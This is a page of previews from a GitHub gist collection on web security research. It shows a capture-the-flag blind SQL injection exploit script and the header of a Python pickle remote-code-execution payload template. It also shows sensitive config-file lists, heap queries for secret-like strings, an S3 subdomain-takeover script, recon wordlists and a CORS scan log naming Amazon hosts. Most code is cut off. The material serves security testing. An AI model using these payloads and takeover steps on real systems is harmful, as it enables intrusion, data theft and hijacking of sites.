websecresearch’s gists

websecresearch / exploit.js

Created January 12, 2020 08:02 — forked from terjanq/exploit.js

This is a solution of Oracle v2 and Oracle v1 from https://nn9ed.ka0labs.org/challenges#x-oracle%20v2 (I realized I could use <meta> and redirect admin to my website and run the challenge in iframes after I already solved it with bruteforcing the admin :p)

	const fetch = require('node-fetch');

	var flag = 'nn9ed{'
	var alph = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!().{}'
	var escape = d => d.replace(/\\/g, '\\\\').replace(/\./g, '\\.').replace(/$/g, '\\(').replace(/$/g, '\\)').replace(/\{/g, '\\{').replace(/\}/g, '\\}');
	var make_payload = (i, o) => `Season 6%' AND 1=IF(ORD(SUBSTR(flag,${i},1))=${o},1,EXP(44444)) #` // throws an exception if the character of flag is incorrect
	const base_url = 'http://x-oracle-v2.nn9ed.ka0labs.org/'

	// Generates definitions for fonts
	function generateFonts() {

websecresearch / pickle-payload.py

Created January 23, 2020 16:28 — forked from mgeeky/pickle-payload.py

Python's Pickle Remote Code Execution payload template.

	#!/usr/bin/python
	#
	# Pickle deserialization RCE payload.
	# To be invoked with command to execute at it's first parameter.
	# Otherwise, the default one will be used.
	#

	import cPickle
	import sys
	import base64

websecresearch / ruby-sensitive-files.txt

Created January 29, 2020 13:41 — forked from random-robbie/ruby-sensitive-files.txt

	database.yml
	database.yml_original
	database.yml~
	database.yml.pgsql
	database.yml.sqlite3
	config/database.yml
	config/database.yml_original
	config/database.yml~
	config/database.yml.pgsql
	config/database.yml.sqlite3

websecresearch / textwrangler.md

Created January 29, 2020 13:41 — forked from random-robbie/textwrangler.md

Text Wrangler Regex's

^[^.]+. - This Removes everything before the . and including the . so handy for a list of sub doamins.

websecresearch / jhat base searches

Created January 29, 2020 13:41 — forked from random-robbie/jhat base searches

	select {o: s,val:s.value.toString()} from java.lang.String s
	where
	/^[0-9A-Za-z!\\\/\"\?/+=;\&\[\]\.:-_@\'\#\*]{5,15}$/.test(s.value.toString())

	select {o: s,val:s.value.toString()} from java.lang.String s
	where
	/^[0-9A-Za-z!\\\/\"\?/+=;\&\[\]\.:-_@\'\#\*]{19,31}$/.test(s.value.toString())

	select {o: s,val:s.value.toString()} from java.lang.String s
	where

websecresearch / s3tko.sh

Created January 29, 2020 13:41 — forked from random-robbie/s3tko.sh

	#!/bin/bash
	touch index.html
	touch error.html
	aws s3api create-bucket --bucket $1 --region us-east-1
	aws s3 website s3://$1/ --index-document index.html --error-document error.html
	aws s3 cp index.html s3://$1 --acl public-read
	aws s3 cp error.html s3://$1 --acl public-read

websecresearch / Dockerfile

Created January 29, 2020 13:41 — forked from random-robbie/Dockerfile

Burp Browser Docker

	FROM ubuntu:latest

	ENV DEBIAN_FRONTEND noninteractive

	RUN apt-get update -y && \
	apt-get install -y \
	git \
	xvfb \
	x11vnc \
	wget \

websecresearch / content_nullenc0de.txt

Created January 29, 2020 13:41 — forked from random-robbie/content_nullenc0de.txt

This file has been truncated, but you can view the full file.

	!.gitignore
	!.htaccess
	!.htpasswd
	!access_setup.asp
	!Admin
	!archiv
	!Archive
	!backup
	!bin/ads/google
	!c.php

websecresearch / null-find.sh

Created January 29, 2020 13:41 — forked from random-robbie/null-find.sh

	#!/bin/bash
	wget https://gist.githubusercontent.com/jhaddix/86a06c5dc309d08580a018c66354a056/raw/96f4e51d96b2203f19f6381c8c545b278eaa0837/all.txt
	amass enum -config config.ini -brute -w all.txt
	wget https://gist.githubusercontent.com/nullenc0de/96fb9e934fc16415fbda2f83f08b28e7/raw/146f367110973250785ced348455dc5173842ee4/content_discovery_nullenc0de.txt
	gobuster -u http://example.com -w content_discovery_nullenc0de.txt

websecresearch / cors.txt

Created January 29, 2020 13:41

	Issue detected : CORS misconfiguration amazonlive-portal.amazon.com Payload Send Origin response contains Access-Control-Allow-Origin: null
	Issue detected : CORS misconfiguration amazonlive-portal.amazon.com Payload Send Origin response contains Access-Control-Allow-Origin: https://doesnot.exists
	Issue detected : CORS misconfiguration dexr.amazon.com Payload Send Origin response contains Access-Control-Allow-Origin: null
	Issue detected : CORS misconfiguration dexr.amazon.com Payload Send Origin response contains Access-Control-Allow-Origin: https://doesnot.exists
	Issue detected : CORS misconfiguration internal.campfire.amazon.com Payload Send Origin response contains Access-Control-Allow-Origin: null
	Issue detected : CORS misconfiguration internal-gamma.campfire.amazon.com Payload Send Origin response contains Access-Control-Allow-Origin: null
	Issue detected : CORS misconfiguration internal.campfire.amazon.com Payload Send Origin response contains Access-Control-Allow-Origin: https://doesnot.exists
	Issue dete

	select {o: s,val:s.value.toString()} from java.lang.String s
	where
	/^[0-9A-Za-z!\\\/\"\?/+=;\&\(\)\[\]\.:-_@\'\#\*]{5,15}$/.test(s.value.toString())

	select {o: s,val:s.value.toString()} from java.lang.String s
	where
	/^[0-9A-Za-z!\\\/\"\?/+=;\&\(\)\[\]\.:-_@\'\#\*]{19,31}$/.test(s.value.toString())

	select {o: s,val:s.value.toString()} from java.lang.String s
	where